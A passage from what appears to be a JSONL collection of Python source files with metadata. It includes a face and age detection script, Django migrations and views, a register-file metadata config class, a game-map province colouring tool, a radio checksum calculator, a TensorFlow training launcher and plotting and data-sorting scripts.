#shutil.rmtree(new_folder)\n\n\n\"\"\"face_filters = [\n FaceDetectionFilter(2, build_api_url(\"face-detection\", service_name=\"opencv-cpu-haarcascade-face-detection\")),\n FaceDetectionFilter(5, build_api_url(\"face-detection\", service_name=\"dlib-cpu-hog-svm-face-detection\")),\n FaceDetectionFilter(8, build_api_url(\"face-detection\", service_name=\"mt-gpu-caffe-cnn-face-detection\")),\n]\n\n\n\nmultifilter = Multifilter(face_filters)\nface_scores = multifilter.apply_to(image)\n\nbbox_clustering = BoundingBoxClustering(face_scores)\n\nbbox_clustering.find_clusters()\nbounding_box_clusters = bbox_clustering.get_found_clusters()\n\n\ndetection_weight_threshold = int(sum([weight for (_,weight,_,_) in face_scores]) / 2)\n\n\n# Since each image should have only one face, the cluster list should have only one valid group.\nvalid_boxes = [bounding_box for bounding_box, weight in bounding_box_clusters.items() if\n weight >= detection_weight_threshold]\n\nif len(valid_boxes) > MAX_FACES:\n print(\"The image is probably composed by more than {} faces. Discarded.\".format(MAX_FACES))\n exit(-1)\n\nfor bounding_box in valid_boxes:\n bounding_box.expand(0.4)\n bounding_box.fit_in_size(image.get_size())\n\nprint([str(bounding_box) for bounding_box in valid_boxes])\n\ncropped_images = [image.crop_image(bounding_box, \"cropped_face\") for bounding_box in valid_boxes]\n\nage_filters = [\n AgeEstimationFilter(12, build_api_url(\"face-age-estimation\", service_name=\"gpu-cnn-rothe-real-age-estimation\"), min_age=0, max_age=99),\n AgeEstimationFilter(10, build_api_url(\"face-age-estimation\", service_name=\"gpu-cnn-rothe-apparent-age-estimation\"), min_age=0, max_age=99),\n AgeEstimationFilter(4, build_api_url(\"face-age-estimation\", service_name=\"gpu-cnn-levi-hassner-age-estimation\"), min_age=0, max_age=99),\n]\n\nmultifilter = Multifilter(age_filters)\nface_age_scores = multifilter.apply_to_list(cropped_images)\n\nprint(\"Total score: {}\".format(sum ([result * weight for (result, weight, reason, boxes) in face_age_scores])))\n[print(age) for (result, weight, reason, age) in face_age_scores if result]\n\n\ndetection_weight_threshold = int(sum([weight for (_,weight,_,_) in face_age_scores]) / 2.2)\n\nage_clustering = AgeRangeClustering(face_age_scores)\n\nage_clustering.find_clusters()\nage_range_clusters = age_clustering.get_found_clusters()\n\n# Since each face should have only one age_range, the cluster list should have only one valid group.\nvalid_ages = {age_range: weight for age_range, weight in age_range_clusters.items() if\n weight >= detection_weight_threshold}\n\n#api_url =\n\n#filter_age =\n\n#result, weight, reason, age_range = filter_age.appy_to(crop_image)\n\n#print([\"{}: {} (from {} threshold)\".format(age_range.get_range(), weight, detection_weight_threshold) for age_range, weight in valid_ages.items()])\n\"\"\"","sub_path":"main/entry.py","file_name":"entry.py","file_ext":"py","file_size_in_byte":14405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"653666459","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('retiro', '__first__'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Devolucion',\n fields=[\n ],\n options={\n 'proxy': True,\n },\n bases=('retiro.retiro',),\n ),\n migrations.CreateModel(\n name='DevolucionDetalle',\n fields=[\n ],\n options={\n 'proxy': True,\n },\n bases=('retiro.retirodetalle',),\n ),\n ]\n","sub_path":"devolucion/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"420630533","text":"\"\"\"Submodule for `MetadataConfig` configurable.\"\"\"\n\nimport re\nfrom ..configurable import configurable, Configurable, opt_checked, ParseError, Unset\n\n@configurable(name='Metadata')\nclass MetadataConfig(Configurable):\n \"\"\"This configuration structure is used to identify and document objects\n within `vhdmmio`.\"\"\"\n #pylint: disable=E0211,E0213,R0201\n\n def _parent_is_array(self):\n \"\"\"Returns whether our parent is an array. If we don't know, default\n to scalar.\"\"\"\n return hasattr(self.parent, 'repeat') and self.parent.repeat is not None\n\n @opt_checked\n def mnemonic(self, value):\n \"\"\"The mnemonic of the object. Mnemonics are usually very short,\n uppercase identifiers, idiomatically used within register file\n descriptions. `vhdmmio` requires that they are unique within the\n current context only; that is, two fields in a single logical\n register cannot have the same mnemonic, but if they were in different\n logical registers this would be fine. However, chains of mnemonics\n separated by underscores must still be unique. For instance, it's\n illegal to have a register `X` containing field `Y_Z` and another\n register `X_Y` containing field `Z`.\n\n If the mnemonic names an array, it cannot end in a number, since the\n array index is added to the mnemonic in various contexts.\n\n If no mnemonic is specified, it is generated from the name by simply\n uppercasing it. Either name, mnemonic, or both must be specified.\"\"\"\n if value is Unset:\n return value\n if not isinstance(value, str) or not re.fullmatch(r'[A-Z][A-Z0-9_]*', value):\n ParseError.invalid('', value, 'a string matching `[A-Z][A-Z0-9_]*`')\n if hasattr(self.parent, 'repeat') and self.parent.repeat is not None:\n if re.search(r'[0-9]$', value):\n raise ParseError('parent of {path} is an array, so it cannot end in a digit')\n return value\n\n @opt_checked\n def name(self, value):\n \"\"\"The name of the object. Names are generally longer and more\n descriptive than mnemonics, but also need to be more unique; no two\n fields within a register file can have the same name. Matching is\n case-insensitive since VHDL is case-insensitive, but `vhdmmio` never\n changes the case of a name.\n\n Like mnemonics, if the name names an array, it cannot end in a number,\n since the array index is added to the name in various contexts.\n\n If no name is specified, it is generated from the mnemonic by simply\n lowercasing it. Either name, mnemonic, or both must be specified.\"\"\"\n if value is Unset:\n return value\n if not isinstance(value, str) or not re.fullmatch(r'[a-zA-Za-z][a-zA-Z0-9_]*', value):\n ParseError.invalid('', value, 'a string matching `[a-zA-Z][a-zA-Z0-9_]*`')\n if self._parent_is_array():\n if re.search(r'[0-9]$', value):\n raise ParseError('parent of {path} is an array, so it cannot end in a digit')\n return value\n\n @opt_checked\n def brief(self, value):\n \"\"\"A brief, one-line description of the object. This will be rendered\n as markdown in the documentation output. Idiomatically, the brief\n description should start with a lowercase letter and end in a period,\n so it looks good when used in a list like `\": \"`. The\n brief may also be used as a standalone sentence; in this case, the\n first letter is automatically uppercased. When printed in source code\n comments, the description is automatically wrapped to an appropriate\n line length. All spacing characters, including newlines, are collapsed\n into a single space before the brief is used.\n\n Brief documentation may be printed once for an array of fields or for\n each field index independently depending on context. To this end,\n the magic string `{index}` is replaced with the index or range as\n required by context:\n\n - If the object is not an array, it is replaced with an empty string.\n - If the object is an array and the brief refers to the entire array\n or a slice thereof, it is replaced with `..`.\n - If the object is an array and the brief refers to a single index,\n it is simply replaced with just that index.\n \"\"\"\n if value is Unset:\n return value\n if not isinstance(value, str):\n ParseError.invalid('', value, 'a string')\n return ' '.join(value.split())\n\n @opt_checked\n def doc(self, value):\n \"\"\"Extended documentation for the object. This is only used for\n documentation output, and can therefore be any valid markdown. However,\n avoid using `----` and `====` underlining for headers; instead use the\n `#` prefix notation. `vhdmmio` will automatically prefix such headers\n with additional hashes to get to the right header level. The brief\n documentation is always added as a single paragraph before the extended\n documentation.\n\n Like the brief documentation, extended documentation may be printed\n once for an array of fields or for each field index independently\n depending on context. Therefore, `{index}` is replaced for `doc` in\n exactly the same way.\"\"\"\n if value is not Unset and not isinstance(value, str):\n ParseError.invalid('', value, 'a string')\n return value\n","sub_path":"vhdmmio/config/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"206602005","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport codecs, sys, re, os, subprocess, scipy.misc, numpy, random\nimport grafo\n\ndef main():\n\tmeuGrafo = grafo.Grafo()\n\n\tsaida = \"\"\n\n\ttagsDosPaises = {}\n\tarquivoTagsDosPaises = codecs.open(\"../common/country_tags/00_countries.txt\", encoding=\"latin_1\").readlines()\n\tfor linha in arquivoTagsDosPaises:\n\t\tif \"=\" in linha and \"#\" not in linha.split(\"=\")[0]:\n\t\t\tnovaEntrada = linha.split(\"=\")\n\t\t\tnomeDoArquivo = novaEntrada[1].split(\"#\")[0].replace('\"',' ').strip()\n\t\t\ttagsDosPaises[novaEntrada[0].strip()] = nomeDoArquivo\n\n\tarqCoresDosPaises = {f.replace(\"-\",\" \").split(\" \")[0].strip(): f for f in os.listdir(\"../common/countries/\")}\n\tcoresDosPaises = {}\n\tfor tag in tagsDosPaises:\n\t\tarquivo = codecs.open(\"../common/\" + tagsDosPaises[tag], encoding=\"latin_1\").readlines()\n\t\tfor linha in arquivo:\n\t\t\tif \"color\" in linha:\n\t\t\t\tcoresDosPaises[tag] = [int(x) for x in linha.split() if x.isdigit()]\n\n\thistoricoDasProvincias = {int(f.replace(\"-\",\" \").split(\" \")[0].strip()): f for f in os.listdir(\"../history/provinces/\")}\n\tdonoDasProvincias = {}\n\n\tprint(historicoDasProvincias, max(historicoDasProvincias.keys()))\n\treturn\n\tfor arq in range(1, max(historicoDasProvincias.keys()) + 1):\n\t\tif arq in historicoDasProvincias.keys():\n\t\t\tarquivo = codecs.open(\"../history/provinces/\"+historicoDasProvincias[arq], encoding=\"latin_1\").readlines()\n\t\t\tfor linha in arquivo:\n\t\t\t\tif \"owner\" == linha[0:5]:\n\t\t\t\t\tdonoDasProvincias[arq] = linha.split(\"#\")[0].split(\"=\")[1].strip()\n\t\t\t\t\tbreak\n\n\tarqNomesDasProvincias = codecs.open(\"../localisation/prov_names_l_english.yml\", encoding=\"utf-8\").readlines()\n\tnomesDasProvincias = {}\n\t#nomesDasProvincias[0] = \"Corrigir-erro-de-off-by-one\"\n\tfor linha in arqNomesDasProvincias:\n\t\tif \"PROV\" in linha:\n\t\t\tlinhaAtual = linha.replace(\" PROV\", \"\")\n\t\t\tlinhaAtual = re.sub(\":\\d\",\":\", linhaAtual)\n\t\t\tlinhaAtual = linhaAtual.split(\":\")\n\t\t\tnome = linhaAtual[1].strip().strip('\"')\n\t\t\tnomesDasProvincias[int(linhaAtual[0])] = nome\n\n\t#print(nomesDasProvincias)\n\tprovincias = codecs.open(\"definition.csv\", encoding=\"latin_1\").readlines()\n\tprovincias = [x.strip().split(\";\") for x in provincias[1:]]\n\tdicionarioDeCores = {(int(x[1]),int(x[2]),int(x[3])): int(x[0]) for x in provincias}\n\t#simpleProvList = []\n\tmeuGrafo.adicionarVertice(\"Corrigir-erro-de-off-by-one\")\n\tfor p in range(len(provincias)):\n\t\tif p in nomesDasProvincias:\n\t\t\tmeuGrafo.adicionarVertice(nomesDasProvincias[p])\n\t\telse:\n\t\t\tmeuGrafo.adicionarVertice(\"Sem Nome\")\n\n\tsaida += \"graph \\\"grafo\\\" {\\nnode [width=0.5,height=0.5];\\n\"\n\n\tsubprocess.check_output(['convert', 'provinces.bmp', 'provinces-temp.png'])\n\tprovMap = scipy.misc.imread('provinces-temp.png')\n\n\tcolorMap = {}\n\tpixelsDeFronteira = [[False] * len(provMap[0]) for y in provMap]\n\tdonoDoPixel = [[-1] * len(provMap[0]) for y in provMap]\n\n\t#ler vários arquivos que informam quais províncias não são terra ocupável\n\ttiposDeProvincias = lerGrupos('default.map')\n\ttiposDeProvincias.update(lerGrupos('climate.txt'))\n\n\t#print(tiposDeProvincias)\n\t#return\n\n\n\n\tfor linha in range(1, len(provMap)-1):\n\t\tif linha%50 == 0:\n\t\t\tprint(\"linha\", linha, \"de\", len(provMap))\n\t\tfor col in range(1, len(provMap[0])-1):\n\t\t\tpixel1 = provMap[linha][col]\n\t\t\tpixel1 = [int(x) for x in pixel1[:3]]\n\t\t\tpais1 = findProv(pixel1, dicionarioDeCores)\n\t\t\t#acho que... corrigir um erro off-by-one, já que as províncias começam de 1\n\t\t\t#pais1 = pais1 - 1\n\t\t\tdonoDoPixel[linha][col] = pais1\n\t\t\tfor n in doisVizinhos(linha, col):\n\t\t\t\tif numpy.any(provMap[linha][col] != provMap[n[0], n[1]]):\n\n\t\t\t\t\t#no final, pinter o pixel e o vizinho de preto\n\t\t\t\t\tpixelsDeFronteira[linha][col] = True\n\n\t\t\t\t\tpixel2 = provMap[n[0]][n[1]]\n\t\t\t\t\tpixelsDeFronteira[n[0]][n[1]] = True\n\t\t\t\t\tpixel2 = [int(x) for x in pixel2[:3]]\n\t\t\t\t\tpais2 = findProv(pixel2, dicionarioDeCores)\n\t\t\t\t\t#corrigir um erro off-by-one, já que as províncias começam de 1\n\t\t\t\t\t#pais2 = pais2 - 1\n\n\t\t\t\t\tif (ehOcupavel(pais1, tiposDeProvincias) and \\\n\t\t\t\t\tehOcupavel(pais2, tiposDeProvincias) and \\\n\t\t\t\t\tmeuGrafo.matrizDeAdjacencias[pais1][pais2] == 0):\n\t\t\t\t\t\tmeuGrafo.adicionarAresta('x', pais1, pais2)\n\t\t\t\t\t\t#print(pais1, pais2)\n\t\t\t\t\t\tprint(\"encontrada fronteira de\", meuGrafo.vertices[pais1+1], \"para\", meuGrafo.vertices[pais2+1])\n\t\t\t\t\t\t#print(meuGrafo.arestas)\n\n\n\t#funções para fazer um grafo; melhor não para esse caso, é muito grande\n\tif False:\n\t\tfor x in range(len(meuGrafo.vertices)):\n\t\t\tif meuGrafo.grau(x) > 0:\n\t\t\t\tsaida += \"N\" + str(provincias[x][0]) + \" [label=\\\"\"+provincias[x][4]+\"\\\",fontsize=10];\\n\"\n\n\t\t#graus = [(meuGrafo.vertices[x], meuGrafo.grau(x)) for x in range(len(meuGrafo.vertices))]\n\t\t#graus.sort(key=lambda x: x[1])\n\t\t#print(graus)\n\t\t#meuGrafo.mostraListaDeAdjacencias()\n\t\tfor aresta in meuGrafo.arestas:\n\t\t\t#print(len(edge[0]), len(edge[1]))\n\t\t\tsaida += \"N\"+str(aresta[1])+ \" -- N\"\n\t\t\tsaida += str(aresta[2]) + \" [weight=1,style=\\\"setlinewidth(1.0)\\\"];\\n\"\n\t\t#s.index([x for x in s if x[1:] == [2,3,2]][0])\n\t\tsaida += \"}\\n\"\n\t\tf = open('saida.dot', 'w')\n\t\tf.write(saida)\n\t\tf.close()\n\n\tsubprocess.check_output(['rm', 'provinces-temp.png'])\n\t#coloracoes = grafo.coloracao(meuGrafo)\n\tcoloracoes = grafo.coloracao(meuGrafo)\n\t#coloracoes.sort(key=lambda x: x[0])\n\tcores = [[220,50,50],[50,220,50],[230,40,230],[230,230,40],[250,150,50],[40,40,130],\n\t\t\t[100,0,0],[0,100,0],[0,0,100],[100,100,0],[100,0,100],[0,100,100]]\n\n\n\tnovoMapa = provMap[:]\n\tfor linha in range(len(provMap)):\n\t\tif linha%50 == 0:\n\t\t\tprint(\"pintando linha\", linha, \"de\", len(provMap))\n\t\tfor col in range(len(provMap[0])):\n\t\t\tif (linha == 0 or col == 0 or \\\n\t\t\tlinha == len(provMap) - 1 or col == len(provMap[0]) - 1):\n\t\t\t\tnovoMapa[linha][col] = [0, 0, 0]\n\t\t\telif pixelsDeFronteira[linha][col]:\n\t\t\t\tnovoMapa[linha][col] = [0, 0, 0]\n\t\t\telif donoDoPixel[linha][col] in tiposDeProvincias['lakes']:\n\t\t\t\tnovoMapa[linha][col] = [160, 200, 250]\n\t\t\telif donoDoPixel[linha][col] in tiposDeProvincias['sea_starts']:\n\t\t\t\tnovoMapa[linha][col] = [160, 200, 250]\n\t\t\telif donoDoPixel[linha][col] in tiposDeProvincias['impassable']:\n\t\t\t\tnovoMapa[linha][col] = [143, 143, 143]\n\t\t\telse:\n\t\t\t\t#cor = coloracoes[donoDoPixel[linha][col]][1]\n\t\t\t\tcor = coloracoes[donoDoPixel[linha][col]]\n\t\t\t\t#print(linha, col, cor)\n\t\t\t\tnovoMapa[linha][col] = cores[cor]\n\tscipy.misc.imsave(\"provinces-novo.png\", novoMapa)\n\n\tcontagemDeCores=[0]*12\n\tfor num_prov in range(1, len(coloracoes)):\n\t\tif ehOcupavel(num_prov, tiposDeProvincias):\n\t\t\t#contagemDeCores[coloracoes[num_prov][1]] += 1\n\t\t\tcontagemDeCores[coloracoes[num_prov]] += 1\n\tfor num_cor in range(len(contagemDeCores)):\n\t\tprint(\"Cor\", num_cor, \":\", contagemDeCores[num_cor], \"províncias\")\n#lê o conteúdo de uma tag dentro de um arquivo; por exemplo,\n#lerGrupo(sea_starts, arquivo) onde arquivo tem sea_starts = { 1 2 3 }\n#retorna [1, 2, 3]\ndef lerGrupos(arquivo):\n\tlinhas = codecs.open(arquivo, encoding=\"latin_1\").readlines()\n\t#ignorar comentários\n\tlinhas = [linha.split(\"#\")[0] for linha in linhas]\n\tlinhas = \"\".join(linhas)\n\tlinhas = linhas.split(\"\\n\")\n\tnum_linha = 0\n\tgrupos = {}\n\twhile num_linha < len(linhas):\n\t\tif ('=' in linhas[num_linha] and 'canal_definition' not in linhas[num_linha]):\n\t\t\tif ('{' in linhas[num_linha] and '}' not in linhas[num_linha]):\n\t\t\t\tchave = linhas[num_linha].split('=')[0].strip()\n\t\t\t\tconteudo = []\n\t\t\t\tnum_linha += 1\n\t\t\t\twhile '}' not in linhas[num_linha]:\n\t\t\t\t\tif len([s for s in linhas[num_linha] if s.isdigit()]) > 0:\n\t\t\t\t\t\tconteudo += [int(x.strip()) for x in linhas[num_linha].split()]\n\t\t\t\t\tnum_linha += 1\n\t\t\t\tgrupos[chave] = conteudo\n\t\t\telse:\n\t\t\t\tnovaEntrada = linhas[num_linha].split('=')\n\t\t\t\tgrupos[novaEntrada[0].strip()] = novaEntrada[1].strip()\n\t\tnum_linha += 1\n\treturn grupos\n\n#retorna True se a província não é mar, lago, desabilitada ou\n#não-ocupável (por exemplo, o Saara)\ndef ehOcupavel(prov, dicionario):\n\treturn (prov not in dicionario['sea_starts'] and \\\n\t\tprov not in dicionario['only_used_for_random'] and \\\n\t\tprov not in dicionario['lakes'] and \\\n\t\tprov not in dicionario['impassable'])\n\ndef findProv(color, dicionario):\n\ttuplaDeCores = (color[0], color[1], color[2])\n\treturn dicionario[tuplaDeCores]\n\ndef distance(x, y):\n\treturn((x[0]-y[0])**2 + (x[1]-y[1])**2)\n\t#no need to take the square root\n\ndef vizinhos(x, y):\n\treturn ((x-1, y),(x+1, y),(x,y-1),(x,y+1))\n\ndef doisVizinhos(x, y):\n\t#retorna os pixels localizados acima e ao lado esquerdo;\n\t#são suficientes para encontrar vizinhos no mapa\n\treturn((x-1, y),(x, y-1))\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"prov_coloracao_EU4.py","file_name":"prov_coloracao_EU4.py","file_ext":"py","file_size_in_byte":8434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"142412770","text":"def validByteHexString(theString):\n if isinstance(theString, str) and len(theString) == 4 and theString[0:2] == \"0x\":\n return True\n else:\n return False\n\n\ncommandType = \" \"\nwhile not validByteHexString(commandType):\n commandType = input(\"\"\"Enter a command type\\n 0x01 : No-Op\\n 0x02 : Reset\\n 0x03 : Transmit \n \\n 0x05 : Get Configuration \\n 0x06 : Set Configuration \\n 0x07 : Query Telemetry \\n 0x08 : Write Flash \n \\n 0x09 : RF Configure \\n 0x10 : Set Beacon Data \\n 0x11 : Configure Beacon \\n 0x12 : Read firmware rev \n \\n 0x13 : Write DIO key \\n 0x14 : Firmware Update \\n 0x15 : Firmware Packet\\n\"\"\")\n\n if not validByteHexString(commandType):\n print(\"Invalid Input\")\n\ndirection = \" \"\nwhile not validByteHexString(direction):\n direction = input(\"Enter direction In : (0x10), Out : (0x20): \")\n\nuserInput = \" \"\npayloadArray = []\nwhile userInput.upper() != \"DONE\":\n userInput = input(\"Enter a 4 digit hex char (0x--), type DONE to calculate checksum\\n\")\n if validByteHexString(userInput):\n payloadArray.append(userInput)\n elif userInput.upper() == \"DONE\":\n break\n else:\n userInput = \" \"\n print(\"Invalid input\")\n\nsyncCharA = 0x48 #H\nsyncCharB = 0x65 #e\nlithiumMessage = bytearray()\nlithiumMessage.append(syncCharA)\nlithiumMessage.append(syncCharB)\nlithiumMessage.append(bytearray.fromhex(direction[2:])[0])\nlithiumMessage.append(bytearray.fromhex(commandType[2:])[0])\n\nsizeBytes = bytearray.fromhex(format(len(payloadArray), '04x'))\nfor byte in sizeBytes:\n lithiumMessage.append(byte) \n\nfor hexStr in payloadArray:\n lithiumMessage.append(bytearray.fromhex(hexStr[2:])[0])\n\nprint(\"Input is:\" + str(lithiumMessage))\n\nckA = 0\nckB = 0\nfor i in range(2, len(lithiumMessage)):\n ckA = ckA + int(lithiumMessage[i])\n ckB = ckB + ckA\n\nckA %= 256\nckB %= 256\n\nprint(\"Checksum A: {:02X}\".format(ckA))\nprint(\"Checksum B: {:02X}\".format(ckB))","sub_path":"lithium_checksum_tool.py","file_name":"lithium_checksum_tool.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"611799177","text":"import random\nfrom . import sentence\nfrom datetime import datetime\n\n\ndef get_result():\n time = get_time()\n with open('question/smart_friend/pretence.txt', 'r') as f:\n sentence_list = list()\n for line in f.read().split('\\n'):\n row = line.split(',')\n if row[0] == time:\n sentence_list.append(row[1])\n\n hint, data = sentence.get_result()\n greeting = random.choice(sentence_list)\n prop = 25\n if random.randint(1, 100) < prop:\n hint = '%s %s' % (greeting, hint)\n\n return hint, data\n\n\ndef get_no_result():\n return sentence.get_result()\n\n\ndef get_time():\n hour = datetime.now().hour\n\n if 6 <= hour < 9:\n return 'early_morning'\n elif 9 <= hour < 12:\n return 'morning'\n elif 12 <= hour < 15:\n return 'afternoon1'\n elif 15 <= hour < 18:\n return 'afternoon2'\n elif 18 <= hour < 21:\n return 'evening'\n elif 21 <= hour < 23:\n return 'night'\n else:\n return 'dawn'\n","sub_path":"question/smart_friend/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"374000584","text":"import tensorflow as tf\nimport cnn_model\n\ntf.flags.DEFINE_string(\"filename\", \"data/pet.train.tfr\", \"训练数据所在文件\")\ntf.flags.DEFINE_string(\"filename_vali\", \"data/pet.test.tfr\", \"测试数据所在文件\")\ntf.flags.DEFINE_integer(\"num_classes\", 35, \"类别 (default: 35)\")\ntf.flags.DEFINE_integer(\"batch_size\", 128, \"批次大小 (default: 64)\")\ntf.flags.DEFINE_integer(\"num_train_examples\", 6000, \"训练样本 (default: 64)\")\ntf.flags.DEFINE_string(\"out_dir\", \"./runs\", \"模型输出路径\")\n\n# 打印参数\nFLAGS = tf.flags.FLAGS\nFLAGS._parse_flags()\nprint(\"\\nParameters:\")\nfor attr, value in sorted(FLAGS.__flags.items()):\n print(\"{}={}\".format(attr.upper(), value))\nprint(\"\")\n\n\n\ncnns = cnn_model.CNNClassify(FLAGS.batch_size, FLAGS.num_classes, FLAGS.num_train_examples)\n# 训练\ncnns.multi_gpu_train(FLAGS.filename, FLAGS.out_dir)\n","sub_path":"cnn/multi_gpu_train.py","file_name":"multi_gpu_train.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"161543751","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport matplotlib.colors as colors\n\nfrom matplotlib import cm\nfrom matplotlib import rc\n\n__author__ = 'ernesto'\n\n# if use latex or mathtext\nrc('text', usetex=False)\nrc('mathtext', fontset='cm')\n\n#####################################\n# PARAMETERS - This can be modified #\n#####################################\n\n# exponential PDF\nsigma_sqr = 1\nlambd = 1/sigma_sqr\n\n#####################\n# END OF PARAMETERS #\n#####################\n\n# abscissa values\nnmin = 70\nnmax = 140\n\nn = np.linspace(nmin, nmax, 300)\n\n# axis parameters\ndx = 10\nxmin_ax = nmin\nxmax_ax = nmax\n\nvar1 = 2 / n\nvar2 = 1 / n + 100 / np.square(n)\n\nymax_ax = 0.03\nymin_ax = 0.013\n\n# ticks labels margin\nxtm = 0.0016\nytm = 1.5\n# font size\nfontsize = 11\n# colors from coolwarm\ncNorm = colors.Normalize(vmin=0, vmax=1)\nscalarMap = cm.ScalarMappable(norm=cNorm, cmap=cm.coolwarm)\ncol10 = scalarMap.to_rgba(0)\ncol20 = scalarMap.to_rgba(1)\n\n\nfig = plt.figure(0, figsize=(5, 3), frameon=False)\nax = fig.add_subplot(111)\n\nplt.xlim(xmin_ax, xmax_ax)\nplt.ylim(ymin_ax, ymax_ax)\n\n\nplt.plot(n, var1, color=col10, linewidth=2, label='$\\mathrm{var}(\\hat{\\\\theta}_1)$')\nplt.plot(n, var2, color=col20, linewidth=2, label='$\\mathrm{var}(\\hat{\\\\theta}_2)$')\n\nplt.plot([100, 100], [ymin_ax, 0.02],'k--', linewidth=1)\nplt.plot([xmin_ax, 100], [0.02, 0.02],'k--', linewidth=1)\n\n\nxticks = np.arange(nmin, nmax+1, 10)\nplt.xticks(xticks, [])\nfor t in xticks:\n ax.text(t, ymin_ax-xtm, '${:d}$'.format(t), fontsize=fontsize, ha='center', va='baseline')\nyticks = np.arange(0.015, 0.031, 0.005)\nplt.yticks(yticks, [])\nfor t in yticks:\n ax.text(nmin-ytm, t-0.0002, '${:.3f}$'.format(t), fontsize=fontsize, ha='right', va='center')\n\n# labels\nplt.text((xmin_ax+xmax_ax)/2, ymin_ax-1.8*xtm, '$N$', fontsize=fontsize+1, ha='center', va='baseline')\nplt.text(nmin-11, (ymin_ax+ymax_ax)/2, '$\\mathrm{Varianza}$', fontsize=fontsize+1, ha='center', va='center',\n rotation=90)\n\nleg = plt.legend(loc=1, fontsize=fontsize+1, frameon=False)\n\n\n# save as pdf image\nplt.savefig('problem_7_4.pdf', bbox_inches='tight')\n\nplt.show()\n\n","sub_path":"figuras/PycharmKayStatisticalReport/problem_7_4.py","file_name":"problem_7_4.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"388660207","text":"#for sorting the the ASCIs from the text file and to find the rejected ASICs number.\nimport matplotlib.pylab as plt\n\nf=open(\"file.txt\",\"r\")\n\nlines=f.readlines()\n\n#print(lines)\n\n#choose the column want\n\nresult=[]\n\nfor x in lines:\n\n result.append(x.split(' ')[1])\n\nf.close()\n\n#print(result)\n#sorting the rank\n#sorted(result,reverse=True)\n#sorting the ICs\nresult.sort()\n# printing the ASICs from the list of -- and use that to d find the missing one\n\nprint('Sorting the ASICS-- The Selected one')\n \nfor i in range(1,len(result)):\n print(result[i])\n \n\n#for i in range(1,len(result)):\n# if i==1:\nprint('The failed ASICs are')\n\nfor j in range (1,len(result)-1):\n x=int(result[j+1])-int(result[j])\n if x!=1:\n for k in range(1,x):\n print(int(result[j])+k)\n\n\nplt.plot(result)\n#plt.show()\n\nprint (len(result))\n\n# most of the ADC are having problem with stuck code fraction\n","sub_path":"find_missing.py","file_name":"find_missing.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"157114363","text":"from _mypath import thisdir\nfrom os import listdir\nfrom scipy import interpolate\nimport numpy as np\nimport os\n\ndef get_path(*rela_path, to_file=False):\n \"\"\"get an absolute path\n if to_file=True, the path will link to a .img.gz file according to inputted OBS_ID and FILTER\n if to_file=False, the path will link to any file/dir according to the rela_path\n \n Inputs: \n 1> 'OBS_ID', 'FILTER'('uw1', 'uw2', 'uvv') \n 2> 'rela_path', to_file=F\n Outpus: \n absolute path, string\n \"\"\"\n if to_file == True:\n data_path = '../data/'\n data_abs_path = os.path.join(thisdir, data_path)\n folders = [one for one in listdir(data_abs_path) if 'raw' in one]\n for folder in folders:\n folder_abs_path = ''.join([data_abs_path, folder, '/'])\n obs_list = listdir(folder_abs_path)\n obs_list = [obs for obs in obs_list if obs[0] != '.']\n if rela_path[0] in obs_list:\n break\n map_path = '/uvot/image/'\n file_name = 'sw' + rela_path[0] + rela_path[1] + '_sk.img.gz'\n file_path = ''.join([folder_abs_path, rela_path[0], map_path, file_name])\n return file_path\n else:\n return os.path.join(thisdir, rela_path[0])\n\ndef error_prop(method, x, x_err, y, y_err):\n if method == 'sum' or method == 'sub':\n return np.sqrt(np.power(x_err,2)+np.power(y_err,2))\n elif method == 'mul':\n err_1 = np.power(x_err*y,2)\n err_2 = np.power(y_err*x,2)\n return np.sqrt(err_1+err_2)\n elif method == 'div':\n err_1 = np.power(x_err/y,2)\n err_2 = np.power(x*y_err/np.power(y,2),2)\n return np.sqrt(err_1+err_2)\n\ndef as2au(arcsec, dis_au):\n return dis_au*2*np.pi*arcsec/(3600.*360)\n \ndef au2km(au):\n return 149597870.7*au\n\ndef integ(x, y, step_num=False):\n if step_num:\n f = interpolate.interp1d(x, y, fill_value='extrapolate')\n x = np.linspace(x[0], x[-1], num=step_num)\n y = f(x)\n result = 0\n for i in range(len(x)):\n result += x[i]*y[i]\n return result\n\n#print(au2km(as2au(56,1.94)))\n\n\n\n","sub_path":"main/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"223356440","text":"from core.authentication import HashAuthentication\nfrom django.http import JsonResponse\nfrom djangorestframework_camel_case.util import camelize\nfrom rest_framework import viewsets\nfrom voting.views import get_current_question, get_current_question_answers\n\n\nclass ConnectorView(viewsets.GenericViewSet):\n \"\"\"manage the activities\"\"\"\n\n auth_backend = HashAuthentication()\n\n def _disconnect(self):\n return JsonResponse({\"error\": {\"code\": 4500, \"message\": \"manual_disconnect\"}})\n\n def connect(self, request):\n data = request.data.get(\"data\")\n token = data.get(\"token\", None)\n\n if token == None:\n return self._disconnect()\n [user, social_id] = 